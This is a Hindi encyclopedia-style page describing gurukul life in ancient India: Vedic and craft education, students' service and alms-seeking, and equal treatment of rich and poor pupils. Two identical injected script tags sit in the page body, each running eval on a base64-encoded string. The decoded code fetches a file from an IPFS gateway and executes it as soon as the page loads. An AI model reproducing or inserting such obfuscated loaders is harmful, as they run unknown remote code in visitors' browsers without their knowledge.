गुरुकुल जीवन

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:47, 23 जून 2017 का अवतरण (Text replacement - "पश्चात " to "पश्चात् ")
यहाँ जाएँ:भ्रमण, खोजें
  • द्विय या ब्राह्मण, क्षत्रिय, वैश्यों को जीवन की पहली अवस्था में अच्छे गृहस्थजीवन की शिक्षा लेना अनिवार्य था।
  • यह शिक्षा गुरुकुलों में जाकर प्राप्त की जाती थी, जहाँ वेदादि शास्त्रों के अतिरिक्त क्षत्रिय शस्त्रास्त्र विद्या और वैश्य कारीगरी, पशुपालन एवं कृषि का कार्य भी सीखता था।
  • गुरुकुल की सेवा, भिक्षाटन पर जीविका, गुरु के पशुओं को चराना, कृषिकर्म करना, समिधा जुटाना आदि कर्म करने के पश्चात् अध्ययन में मन लगाना पड़ता था।
  • धनी, निर्धन सभी विद्यार्थियों का एक ही प्रकार का जीवन होता था।
  • इस तपस्थलों से निकलने पर स्नातक समाज का सम्माननीय सदस्य के रूप में आदृत होता एवं विवाह कर गृहस्थ आश्रम का अधिकारी बनता था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ